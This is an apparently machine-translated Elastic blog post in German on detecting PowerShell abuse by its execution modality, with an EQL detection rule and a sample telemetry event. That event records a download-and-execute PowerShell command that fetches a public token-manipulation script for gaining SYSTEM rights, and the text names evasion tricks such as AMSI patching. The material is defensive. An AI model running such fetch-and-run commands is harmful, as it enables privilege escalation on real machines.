John Uhlmann

Modalitäten für falsches Verhalten: Erkennen von Werkzeugen, nicht von Techniken

Wir untersuchen das Konzept der Ausführungsmodalität und wie modalitätsfokussierte Erkennungen verhaltensorientierte Erkennungen ergänzen können.

14 Minuten LesezeitDetection Engineering, Internals
Modalitäten für falsches Verhalten: Erkennen von Werkzeugen, nicht von Techniken

Was ist die Ausführungsmodalitäten?

Jared Atkinson, Chief Strategist bei SpecterOps und produktiver Autor von Sicherheitsstrategien, hat kürzlich das sehr nützliche Konzept der Ausführungsmodalität vorgestellt, um uns bei der Argumentation über Malware-Techniken und deren robuste Erkennung zu helfen. Kurz gesagt, beschreibt die Ausführungsmodalität, wie ein bösartiges Verhalten ausgeführt wird, anstatt einfach zu definieren, was das Verhalten tut.

Das interessante Verhalten kann z. B. die Erstellung eines Windows-Diensts sein, und die Modalität kann entweder ein Systemdienstprogramm (z. B. "sc.exe"), ein PowerShell-Skript oder Shellcode sein, der indirekte Systemaufrufe verwendet, um direkt in die Dienstkonfiguration in der Windows-Registrierung zu schreiben.

Atkinson erläuterte, dass, wenn Ihr Ziel darin besteht, eine bestimmte Technik zu erkennen, Sie sicherstellen sollten, dass Ihre Sammlung so nah wie möglich an der Quelle der Wahrheit des Betriebssystems liegt und alle Modalitätsannahmen eliminiert werden.

Fallstudie: Modalitäten zur Erstellung von Dienstleistungen

Im typischen Diensterstellungsszenario innerhalb des Windows-Betriebssystems ruft ein Installationsprogramm sc.exe create auf, das einen RCreateServiceRPC-Aufruf an einen Endpunkt im Dienststeuerungs-Manager (SCM, auch bekannt als services.exe) sendet, der dann Systemaufrufe an den Konfigurations-Manager im Kernelmodus sendet, um die Datenbank der installierten Dienste in der Registrierung zu aktualisieren. Diese wird später auf die Festplatte geleert und beim Booten von der Festplatte wiederhergestellt.

Dies bedeutet, dass die Quelle der Wahrheit für ein laufendes System die Registrierung ist (obwohl Strukturen auf den Datenträger geleert werden und offline manipuliert werden können).

In einem Szenario mit der Bedrohungssuche könnten wir anomale sc.exe Befehlszeilen leicht erkennen – aber ein anderes Tool kann Service Control RPC-Aufrufe direkt ausführen.

Wenn wir unsere Bedrohungsdaten streng verarbeiten, könnten wir auch anomale Service Control RPC-Aufrufe erkennen, aber ein anderes Tool kann Systemaufrufe (in)direkt durchführen oder einen anderen Dienst, z. B. die Remoteregistrierung, verwenden, um die Dienstdatenbank indirekt zu aktualisieren.

Mit anderen Worten, einige dieser Ausführungsmodalitäten umgehen herkömmliche Telemetriedaten, z. B. Windows-Ereignisprotokolle.

Wie überwachen wir also Änderungen am Konfigurations-Manager? Aufgrund des Kernelpatchschutzes können Systemaufrufe nicht direkt stabil überwacht werden, aber Microsoft hat Configuration Manager-Callbacks als Alternative bereitgestellt. Hier hat Elastic seine Bemühungen zur Erkennung von Service Creation konzentriert - so nah wie möglich an der Quelle der Wahrheit des Betriebssystems.

Der Kompromiss für diese geringe Sichtbarkeit ist jedoch eine potenzielle Reduzierung des Kontexts. Aufgrund von Entscheidungen zur Windows-Architektur wissen Sicherheitsanbieter z. B. nicht, welcher RPC-Client die Erstellung eines Registrierungsschlüssels in der Dienstdatenbank anfordert. Microsoft unterstützt nur das Abfragen von RPC-Clientdetails über einen RPC-Dienst im Benutzermodus.

Ab Windows 10 21H1 hat Microsoft damit begonnen, RPC-Clientdetails in das Ereignisprotokoll für die Diensterstellung aufzunehmen. Dieses Ereignis ist zwar weniger robust, bietet aber manchmal zusätzlichen Kontext, der bei der Bestimmung der Ursache eines anomalen Verhaltens hilfreich sein kann.

Aufgrund ihrer Missbrauchsgeschichte wurden einige Modalitäten um zusätzliche Protokollierung erweitert – ein wichtiges Beispiel ist PowerShell. Dadurch können bestimmte Techniken mit hoher Präzision erkannt werden – allerdings nur , wenn sie innerhalb von PowerShell ausgeführt werden. Es ist wichtig, die Erkennungsabdeckung einer Technik in PowerShell nicht mit der Abdeckung dieser Technik im Allgemeinen zu verwechseln. Diese Nuance ist wichtig für die Schätzung der MITRE ATT&CK-Abdeckung . Wie Red Teams routinemäßig demonstrieren, liegt eine 100-prozentige technische Abdeckung - aber nur für PowerShell - bei nahezu 0 % der realen Abdeckung.

Summiting the Pyramid (STP) ist eine verwandte analytische Scoring-Methode von MITRE. Er zieht eine ähnliche Schlussfolgerung über die Fragilität von PowerShell-Skriptblock-basierten Erkennungen und weist solchen Regeln eine niedrige Robustheitsbewertung zu.

Telemetriequellen auf hoher Ebene, z. B. die Protokollierung der Prozesserstellung und die PowerShell-Protokollierung, sind bei der Erkennung der meisten Techniken äußerst spröde, da sie nur sehr wenige Modalitäten abdecken. Im besten Fall helfen sie dabei, die ungeheuerlichsten Missbräuche des Lebens ohne Land (LotL) aufzudecken.

Atkinson machte in dem Beispiel , das zur Motivation der Diskussion verwendet wurde, die folgende scharfsinnige Beobachtung:

Ein wichtiger Punkt ist, dass unser Ziel höherer Ordnung bei der Erkennung verhaltensbasiert und nicht modalitätsbasiert ist. Daher sollten wir daran interessiert sein, die Sitzungsaufzählung (verhaltensorientiert) und nicht die Sitzungsaufzählung in PowerShell (modalitätsorientiert) zu erkennen.

Manchmal ist das aber auch nur die halbe Wahrheit. Manchmal ist es effizienter, zu erkennen, dass das Tool selbst aus dem Kontext gerissen ist, als die Technik zu erkennen. Manchmal ist die Ausführungsmodalität selbst anomal.

Eine Alternative zum Nachweis einer bekannten Technik besteht darin, eine sich schlecht verhaltende Modalität zu erkennen.

Aufruflisten geben Modalität weiter

Eine der Stärken von Elastic ist die Einbeziehung von Aufrufstapeln in die meisten unserer Ereignisse. Diese Detailgenauigkeit der Anrufherkunft ist eine große Hilfe bei der Bestimmung, ob eine bestimmte Aktivität bösartig oder gutartig ist. Zusammenfassungen von Aufruflisten reichen oft aus, um die Ausführungsmodalität offenzulegen – die Laufzeiten für PowerShell, .NET, RPC, WMI, VBA, Lua, Python und Java hinterlassen alle Spuren in der Aufrufliste.

Einige unserer ersten auf Aufruflisten basierenden Regeln betrafen Office VBA-Makros (vbe7.dll), die untergeordnete Prozesse erzeugen oder Dateien löschen, sowie für nicht gesicherten ausführbaren Speicher, der die .NET-Runtime lädt. In beiden Beispielen war die Technik selbst weitgehend harmlos; Es war die Modalität des Verhaltens, die überwiegend anomal war.

Können wir also den typischen verhaltensorientierten Erkennungsansatz in einen modalitätsorientierten Ansatz umwandeln? Können wir beispielsweise nur die Verwendung eines API-Aufrufs mit doppeltem Zweck erkennen, der von PowerShell stammt?

Mithilfe von Aufruf-Stacks ist Elastic in der Lage, zwischen API-Aufrufen zu unterscheiden, die aus PowerShell-Skripten stammen, und solchen, die aus den PowerShell- oder .NET-Laufzeiten stammen.

Bei der Verwendung von Threat-Intelligence ETW als Annäherung für eine Dual-Purpose-API war unsere Regel für "Verdächtiger API-Aufruf von einem PowerShell-Skript" sehr effektiv.

api where
event.provider == "Microsoft-Windows-Threat-Intelligence" and
process.name in~ ("powershell.exe", "pwsh.exe", "powershell_ise.exe") and

/* PowerShell Script JIT - and incidental .NET assemblies */
process.thread.Ext.call_stack_final_user_module.name == "Unbacked" and
process.thread.Ext.call_stack_final_user_module.protection_provenance in ("clr.dll", "mscorwks.dll", "coreclr.dll") and

/* filesystem enumeration activity */
not process.Ext.api.summary like "IoCreateDevice( \\FileSystem\\*, (null) )" and

/* exclude nop operations */
not (process.Ext.api.name == "VirtualProtect" and process.Ext.api.parameters.protection == "RWX" and process.Ext.api.parameters.protection_old == "RWX") and

/* Citrix GPO Scripts */
not (process.parent.executable : "C:\\Windows\\System32\\gpscript.exe" and
  process.Ext.api.summary in ("VirtualProtect( Unbacked, 0x10, RWX, RW- )", "WriteProcessMemory( Self, Unbacked, 0x10 )", "WriteProcessMemory( Self, Data, 0x10 )")) and

/* cybersecurity tools */
not (process.Ext.api.name == "VirtualAlloc" and process.parent.executable : ("C:\\Program Files (x86)\\CyberCNSAgent\\cybercnsagent.exe", "C:\\Program Files\\Velociraptor\\Velociraptor.exe")) and

/* module listing */
not (process.Ext.api.name in ("EnumProcessModules", "GetModuleInformation", "K32GetModuleBaseNameW", "K32GetModuleFileNameExW") and
  process.parent.executable : ("*\\Lenovo\\*\\BGHelper.exe", "*\\Octopus\\*\\Calamari.exe")) and

/* WPM triggers multiple times at process creation */
not (process.Ext.api.name == "WriteProcessMemory" and
     process.Ext.api.metadata.target_address_name in ("PEB", "PEB32", "ProcessStartupInfo", "Data") and
     _arraysearch(process.thread.Ext.call_stack, $entry, $entry.symbol_info like ("?:\\windows\\*\\kernelbase.dll!CreateProcess*", "Unknown")))

Auch wenn wir die spröde PowerShell-AMSI-Protokollierung für die Erkennung nicht verwenden müssen, können wir dieses Detail dennoch im Ereignis als Kontext bereitstellen, da es die Selektierung unterstützt. Dieser modalitätsbasierte Ansatz erkennt sogar gängige PowerShell-Umgehungsgeschäfte zur Umgehung der Verteidigung, wie z. B.:

  • NTDLL aushängen
  • AMSI-Patching
  • ETW-Patching im Benutzermodus
{
 "event": {
  "provider": "Microsoft-Windows-Threat-Intelligence",
  "created": "2025-01-29T18:27:09.4386902Z",
  "kind": "event",
  "category": "api",
  "type": "change",
  "outcome": "unknown"
 },
 "message": "Endpoint API event - VirtualProtect",
 "process": {
  "parent": {
   "executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
  },
  "name": "powershell.exe",
  "executable": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
  "code_signature": {
   "trusted": true,
   "subject_name": "Microsoft Windows",
   "exists": true,
   "status": "trusted"
  },
  "command_line": "\"powershell.exe\" & {iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
  "pid": 21908,
  "Ext": {
   "api": {
    "summary": "VirtualProtect( kernel32.dll!FatalExit, 0x21, RWX, R-X )",
    "metadata": {
     "target_address_path": "c:\\windows\\system32\\kernel32.dll",
     "amsi_logs": [
      {
       "entries": [
        "& {iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
        "{iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem}",
        "function Get-WinLogonTokenSystem\n{\nfunction _10001011000101101\n{\n  [CmdletBinding()]\n  Param(\n [Parameter(Position = 0, Mandatory = $true)]\n [ValidateNotNullOrEmpty()]\n [Byte[]]\n ${_00110111011010011},\n ...<truncated>",
        "{[Char] $_}",
        "{\n [CmdletBinding()]\n Param(\n   [Parameter(Position = 0, Mandatory = $true)]\n   [Byte[]]\n   ${_00110111011010011},\n   [Parameter(Position = 1, Mandatory = $true)]\n   [String]\n   ${_10100110010101100},\n ...<truncated>",
        "{ $_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBkAGwAbAA=')))) }"
       ],
       "type": "PowerShell"
      }
     ],
     "target_address_name": "kernel32.dll!FatalExit",
     "amsi_filenames": [
      "C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1",
      "C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1"
     ]
    },
    "behaviors": [
     "sensitive_api",
     "hollow_image",
     "unbacked_rwx"
    ],
    "name": "VirtualProtect",
    "parameters": {
     "address": 140727652261072,
     "size": 33,
     "protection_old": "R-X",
     "protection": "RWX"
    }
   },
   "code_signature": [
    {
     "trusted": true,
     "subject_name": "Microsoft Windows",
     "exists": true,
     "status": "trusted"
    }
   ],
   "token": {
    "integrity_level_name": "high"
   }
  },
  "thread": {
   "Ext": {
    "call_stack_summary": "ntdll.dll|kernelbase.dll|Unbacked",
    "call_stack_contains_unbacked": true,
    "call_stack": [
     {
      "symbol_info": "c:\\windows\\system32\\ntdll.dll!NtProtectVirtualMemory+0x14"
     },
     {
      "symbol_info": "c:\\windows\\system32\\kernelbase.dll!VirtualProtect+0x3b"
     },
     {
      "symbol_info": "Unbacked+0x3b5c",
      "protection_provenance": "clr.dll",
      "callsite_trailing_bytes": "41c644240c01833dab99f35f007406ff15b7b6f25f8bf0e85883755f85f60f95c00fb6c00fb6c041c644240c01488b55884989542410488d65c85b5e5f415c41",
      "protection": "RWX",
      "callsite_leading_bytes": "df765f4d63f64c897dc0488d55b8488bcee8ee6da95f4d8bcf488bcf488bd34d8bc64533db4c8b55b84c8955904c8d150c0000004c8955a841c644240c00ffd0"
     }
    ],
    "call_stack_final_user_module": {
     "code_signature": [
      {
       "trusted": true,
       "subject_name": "Microsoft Corporation",
       "exists": true,
       "status": "trusted"
      }
     ],
     "protection_provenance_path": "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll",
     "name": "Unbacked",
     "protection_provenance": "clr.dll",
     "protection": "RWX",
     "hash": {
      "sha256": "707564fc98c58247d088183731c2e5a0f51923c6d9a94646b0f2158eb5704df4"
     }
    }
   },
   "id": 17260
  }
 },
 "user": {
  "id": "S-1-5-21-47396387-2833971351-1621354421-500"
 }
}

Bewertung der Robustheit

Mit der analytischen Bewertungsmethode "Summiting the Pyramid" können wir unsere modalitätsbasierte PowerShell-Erkennungsregel mit der herkömmlichen PowerShell vergleichen

Anwendung (A)Benutzermodus (U)Kernel-Modus (K)
Kern-zu-(Sub-)Technik (5)[ am besten ] Kernel-ETW-basierte PowerShell-Modalitätserkennungen
Kern zu Teil der (Teil-)Technik (4)
Kern zu bereits vorhandenem Tool (3)
Kern zum vom Angreifer mitgebrachten Werkzeug (2)AMSI- und ScriptBlock-basierte PowerShell-Inhaltserkennungen
Kurzlebig (1)[ am schlechtesten ]

PowerShell Analytic Scoring mit Summiting the Pyramid

Wie bereits erwähnt, erhalten die meisten PowerShell-Erkennungen mithilfe der STP-Skala eine niedrige Stabilitätsbewertung von 2 A. Dies steht in krassem Gegensatz zu unserer PowerShell-Regel für fehlerhaftes Verhalten , die die höchstmögliche 5K-Punktzahl erhält (sofern die entsprechende Kerneltelemetrie von Microsoft verfügbar ist).

Ein Nachteil besteht darin, dass eine STP-Analysebewertung noch keine Kennzahl für die Einrichtungs- und Wartungskosten einer Regel enthält. Dies könnte möglicherweise durch die Größe der bekannten falsch positiven Softwareliste für eine bestimmte Regel angenähert werden - obwohl die meisten offenen Regelsätze diese Informationen in der Regel nicht enthalten. Das tun wir, und im Fall unserer Regel waren die bisher beobachteten Fehlalarme äußerst überschaubar.

Können Aufruflisten jedoch gefälscht werden?

Ja - und etwas nein. Unsere Aufrufstapel werden alle inline im Kernel gesammelt, aber die Aufrufliste im Benutzermodus selbst befindet sich im Speicher des Benutzermodus, den die Malware kontrollieren kann. Das bedeutet, dass Malware, wenn sie eine willkürliche Ausführung erreicht hat, die Stack-Frames kontrollieren kann, die wir sehen.

Sicher, API-Aufrufe mit doppeltem Zweck aus dem privaten Speicher sind verdächtig, aber manchmal ist der Versuch, Ihren privaten Speicher zu verbergen, noch verdächtiger. Dies kann in Form von:

Die Steuerung der Aufrufliste allein reicht möglicherweise nicht aus. Um einige unserer Aufrufstapelerkennungen wirklich zu umgehen, muss ein Angreifer eine Aufrufliste erstellen, die vollständig mit der normalen Aktivität verschmilzt. In einigen Umgebungen kann dies von Sicherheitsteams mit hoher Genauigkeit festgelegt werden. was es den Angreifern schwer macht, unentdeckt zu bleiben. Basierend auf unserer internen Forschung und mit Unterstützung der Entwickler von Red-Team-Tools verbessern wir auch kontinuierlich unsere Out-of-the-Box-Erkennungen.

Schließlich gibt es auf modernen CPUs auch zahlreiche Execution-Trace-Mechanismen, die zur Erkennung von Stack-Spoofing verwendet werden können – wie z. B. Intel LBR, Intel BTS, Intel AET, Intel IPT, x64 CET und x64 Architectural LBR. Elastic nutzt bereits einige dieser Hardwarefunktionen, wir haben Microsoft vorgeschlagen, dies auch in weiteren Szenarien außerhalb des Exploit-Schutzes zu tun, und wir untersuchen selbst weitere Verbesserungen. Bleiben Sie dran.

Fazit

Die Ausführungsmodalität ist eine neue Linse, durch die wir versuchen können, das Handwerk von Angreifern zu verstehen.

Die Erkennung spezifischer Techniken für einzelne Modalitäten ist jedoch kein kosteneffizienter Ansatz - es gibt einfach zu viele Techniken und zu viele Modalitäten. Stattdessen sollten wir unsere Technikerkennungen so nah wie möglich an der Quelle der Wahrheit des Betriebssystems konzentrieren. Achten Sie darauf, den notwendigen Aktivitätskontext nicht zu verlieren oder unüberschaubare Fehlalarme einzuführen. Aus diesem Grund ist Elastic der Ansicht, dass Kernel ETW dem Hooking im Benutzermodus überlegen ist ntdll - es ist näher an der Quelle der Wahrheit und ermöglicht robustere Erkennungen.

Bei modalitätsbasierten Erkennungsansätzen wird der Wert deutlich, wenn wir alle erwarteten Low-Level-Telemetriedaten für eine bestimmte Modalität als Baseline ermitteln - und bei eventuellen Abweichungen auslösen.

In der Vergangenheit waren Angreifer in der Lage, die Modalität der Einfachheit halber zu wählen. Es ist kostengünstiger, Tools in C# oder PowerShell zu schreiben als in C oder Assembly. Wenn wir die Herdenmodalität einhalten können, dann haben wir Kosten auferlegt.